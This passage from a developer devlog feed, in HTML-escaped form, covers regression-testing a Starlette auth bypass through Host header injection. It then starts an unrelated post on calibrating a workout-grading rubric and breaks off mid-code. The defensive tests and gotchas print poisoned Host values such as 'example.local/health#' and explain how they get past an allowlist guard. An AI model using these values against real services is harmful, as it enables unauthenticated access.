&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    monkeypatch.setattr(appmod, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;API_TOKEN&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;test-token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    transport &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; httpx.ASGITransport(app&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;appmod.app)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; httpx.AsyncClient(transport&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;transport, base_url&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http://t&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; client:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        response &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; client.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/health&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, headers&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Host&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; response.status_code &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 200&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pytest&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; test_auth_path.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...                                                                      [100%]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;3 passed in 0.09s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The third test matters more than it looks: an over-correction that locks down &lt;code&gt;/health&lt;/code&gt; breaks every container healthcheck you own, and that failure shows up as a restart loop at an inconvenient hour rather than as a red test.&lt;/p&gt;
&lt;p&gt;Now prove the tests bite, which is the step people skip. Put &lt;code&gt;request.url.path&lt;/code&gt; back in the middleware and run them again:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;E               AssertionError: Host=b&apos;example.local/health#&apos; bypassed the gate: 200&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;E               assert 200 == 401&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;E                +  where 200 = &amp;#x3C;Response [200 OK]&gt;.status_code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAILED test_auth_path.py::test_poisoned_host_cannot_bypass_the_token&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1 failed, 2 passed in 0.10s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A 200 where you demanded a 401, from a request carrying no credentials at all. If you revert the line and everything still passes, the test is not testing what you think it is, and you want to know that before you rely on it.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A defence you did not design is not a control.&lt;/strong&gt; The exploit did not return 200 against the running service; it returned 421. A transport in front of the app had its own DNS-rebinding guard that checks &lt;code&gt;Host&lt;/code&gt; against an allowlist, and its first branch is an exact string match. A poisoned header contains a &lt;code&gt;/&lt;/code&gt;, so it can never match anything, and the guard answers &lt;code&gt;Response(&amp;quot;Invalid Host header&amp;quot;, status_code=421)&lt;/code&gt;. That is the attack’s shape colliding with an unrelated check, not a control anyone designed for this.&lt;/p&gt;
&lt;p&gt;Read the next branch of that same guard, though:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; allowed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.settings.allowed_hosts:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; allowed.endswith(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;:*&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        base_host &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; allowed[:&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; host.startswith(base_host &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configure the allowlist as &lt;code&gt;example.local:*&lt;/code&gt;, which is a documented option, and &lt;code&gt;example.local:8765/health#&lt;/code&gt; satisfies that prefix test. The guard returns True, the auth middleware has already returned early on its poisoned path, and the request reaches the application with no credentials. When an exploit dies somewhere you did not put a control, find the line that stopped it and read what else that line does before you downgrade the finding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A green unit test on the pure function proves nothing about its callers.&lt;/strong&gt; &lt;code&gt;is_public_path&lt;/code&gt; had a test asserting deny-by-default, and it passed through the entire vulnerable period. It was never wrong. Test the seam where the caller supplies the input, not just the function in isolation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not assert a third party’s bug in your regression test.&lt;/strong&gt; My first version of the invariant test opened with a precondition I was pleased with: &lt;code&gt;assert request.url.path == &amp;quot;/health&amp;quot;&lt;/code&gt;, proving the installed starlette really was poisonable. Then I bumped starlette to 1.3.1 and the test failed with &lt;code&gt;assert &apos;/private/data&apos; == &apos;/health&apos;&lt;/code&gt;. That draft was a CVE detector. Once the library was patched it would have passed forever while asserting nothing about my code, which is the worst kind of green. Pin the invariant your code must hold, across several hostile inputs, and let it hold on a patched library, a downgrade, and the next variant of the same class.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your revert may fail with a stack trace instead of an assertion.&lt;/strong&gt; The minimal app above fails cleanly, 200 against an expected 401. In the real service it did not: reverting raised &lt;code&gt;RuntimeError: Task group is not initialized&lt;/code&gt; from inside a mounted sub-application, because the unauthenticated request now reached a mount whose lifespan the test never started. Reaching the mount at all was the proof that the gate had been skipped, so the test was still correct. Write that expectation into the docstring anyway, or the next person reads the traceback as flaky infrastructure and re-runs it until it goes away.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-86qp-5c8j-p5mr&quot;&gt;GHSA-86qp-5c8j-p5mr / CVE-2026-48710&lt;/a&gt; — the starlette advisory: affected &lt;code&gt;&amp;lt;= 1.0.0&lt;/code&gt;, patched 1.0.1, and the mechanism by which &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;#&lt;/code&gt; in a Host header shift the reconstructed path&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://asgi.readthedocs.io/en/latest/specs/www.html&quot;&gt;ASGI specification, HTTP connection scope&lt;/a&gt; — defines &lt;code&gt;path&lt;/code&gt; as the request target, independent of headers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection&quot;&gt;OWASP Web Security Testing Guide: Testing for Host Header Injection&lt;/a&gt; — the general class and its established consequences&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/host-header&quot;&gt;PortSwigger Web Security Academy: HTTP Host header attacks&lt;/a&gt; — background on why the header is attacker-controlled in the first place&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;release: 0.49.0 — MCP-surface audit (auth bypass, invisible draft, batch plan edit, dedup) (#197) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/917db6b8121837c8d647f2c7808a6789053d0317&quot;&gt;917db6b&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/local-fitness/v0.49.0.png" length="31670" type="image/png"/></item><item><title>Count the grades your rubric never hands out</title><link>https://natejswenson.com/devlog/local-fitness/v0.43.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/local-fitness/v0.43.0/</guid><description>A scoring system can pass every unit test it has and still be wrong, because unit tests check the arithmetic and never the answer. Regrading real history and gating on the shape of the letter distribution catches the failure the tests structurally cannot.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.43.0 added two things to the workout report card: a calibration script that regrades a trailing window of real sessions and fails when a grade distribution goes degenerate, and a set of verdict evals that assert the letter a run deserves rather than the float the rubric computed.&lt;/p&gt;
&lt;p&gt;Both exist because of a defect that the module’s own test suite could not have caught. The report card had more than 140 unit tests. Every one of them asserted that the rubric computes what it says it computes: a deviation float, a band boundary, a display string. Not one could fail when the rubric’s &lt;em&gt;answer&lt;/em&gt; was wrong. So every grading defect in that module’s history was found the same way, by a person reading a rendered card and saying “that grade is wrong.”&lt;/p&gt;
&lt;p&gt;The technique below is the general version. If you own anything that turns a measurement into a category, a letter, a risk tier, a health status, a lead score, you can build both halves in an afternoon, and the first run usually tells you something.&lt;/p&gt;
&lt;h2&gt;Why unit tests structurally miss this&lt;/h2&gt;
&lt;p&gt;A band table is a function from a number to a label. Its unit tests pin the boundaries: 0.05 is an A, 0.051 is an A-. Those tests keep passing no matter how badly the boundary is placed, because they were written from the same understanding that placed it.&lt;/p&gt;
&lt;p&gt;The measurable signature of a bad table is that it stops discriminating. In the case that prompted this work, a heart-rate ceiling was graded on the fraction of the run spent above it, and that fraction was fed into a table calibrated for relative magnitudes. Over 90 days the metric emitted 32 F, 7 A and 4 D, with B and C never used at all. A five-band scale with two live bands is a threshold wearing a rubric’s clothes, and it was visible in one query against data that had been sitting on disk the whole time.&lt;/p&gt;
&lt;p&gt;Psychometrics has named this for a long time. In classical test theory, an item that everyone answers the same way is &lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC4096146/&quot;&gt;uninformative&lt;/a&gt;, because it does not differentiate between the people taking the test; variability in the responses is precisely what makes an item worth scoring. The same is true one level up, of the band table itself.&lt;/p&gt;
&lt;p&gt;It is also the shape Google’s data-validation group described in &lt;a href=&quot;https://proceedings.mlsys.org/paper_files/paper/2019/hash/928f1160e52192e3e0017fb63ab65391-Abstract.html&quot;&gt;Data Validation for Machine Learning&lt;/a&gt;: a defect confined to one slice can leave aggregate metrics looking fine, so the check has to be on the distribution, not on the average or on any single example.&lt;/p&gt;
&lt;h2&gt;Prerequisites: separate the grader from the report&lt;/h2&gt;
&lt;p&gt;You need one entry point that turns a record into a grade, and everything else must call it. Save this as &lt;code&gt;rubric.py&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The grader under test: one deviation in, one letter out.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Each row is (max relative deviation, letter). First row that fits wins.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GRADE_BANDS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.02&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A+&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.05&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.08&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A-&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.12&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B+&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.16&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.20&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B-&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.26&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C+&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.32&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.38&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C-&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.40&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GRADE_POINTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;4.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;F&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; base_letter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(grade):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&apos;B-&apos; -&gt; &apos;B&apos;. The modifier is presentation; the band is the signal.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; grade_from_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(deviation):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Relative deviation (&gt;= 0) -&gt; letter. Anything past the last band is F.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; edge, letter &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_BANDS:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; deviation &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; edge:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; letter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;F&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; distance_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(actual_m, target_m):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Two-sided: a target distance is a point, missable either way.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; abs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(actual_m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target_m) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target_m&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; pace_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(actual_s_per_km, target_s_per_km, intent):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;One-sided on easy days. An easy run is *supposed* to be slow, so only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    running too FAST is a miss; on the free side the deviation is exactly 0.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    over &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target_s_per_km &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; actual_s_per_km          &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# positive == too fast&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; intent &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; over &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; abs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(over) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target_s_per_km&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; hr_deviation&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(avg_hr, cap_bpm):&lt;/span&gt;&lt;/span&gt;
